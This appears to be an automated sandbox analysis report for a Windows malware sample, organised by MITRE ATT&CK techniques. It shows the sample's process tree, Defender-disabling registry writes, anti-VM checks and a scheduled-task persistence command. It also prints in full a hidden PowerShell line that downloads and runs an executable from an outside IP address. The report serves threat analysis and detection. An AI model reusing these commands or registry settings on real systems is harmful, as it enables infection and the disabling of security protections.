healer | f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	2208	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2208	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
10	2208	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
4460	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Software\Wine	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4460	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3016	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2208	powershell.exe
2208	powershell.exe
4460	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
4460	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
4460	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
4460	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	4460	TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe
1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe
1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe
1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe
1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1264 wrote to memory of 392	1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe	84
PID 1264 wrote to memory of 392	1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe	84
PID 1264 wrote to memory of 392	1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe	84
PID 1264 wrote to memory of 3844	1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe	85
PID 1264 wrote to memory of 3844	1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe	85
PID 1264 wrote to memory of 3844	1264	f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe	85
PID 392 wrote to memory of 3016	392	cmd.exe	87
PID 392 wrote to memory of 3016	392	cmd.exe	87
PID 392 wrote to memory of 3016	392	cmd.exe	87
PID 3844 wrote to memory of 2208	3844	mshta.exe	89
PID 3844 wrote to memory of 2208	3844	mshta.exe	89
PID 3844 wrote to memory of 2208	3844	mshta.exe	89
PID 2208 wrote to memory of 4460	2208	powershell.exe	91
PID 2208 wrote to memory of 4460	2208	powershell.exe	91
PID 2208 wrote to memory of 4460	2208	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe
"C:\Users\Admin\AppData\Local\Temp\f746e2e8975cb74d3b9f45412deb4b41ac6500b0aafd16542206522bfcd3d25d.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn Uxl0LmaKZyi /tr "mshta C:\Users\Admin\AppData\Local\Temp\qYRbkiNYs.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn Uxl0LmaKZyi /tr "mshta C:\Users\Admin\AppData\Local\Temp\qYRbkiNYs.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3016
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\qYRbkiNYs.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'AU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2208
  - - C:\Users\Admin\AppData\Local\TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE
      "C:\Users\Admin\AppData\Local\TempAU1KUOIGBLFVJUOECDENOKPPTAZURDT0.EXE"
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      Modifies Windows Defender Real-time Protection settings
      Modifies Windows Defender TamperProtection settings
      Modifies Windows Defender notification settings
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Windows security modification
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion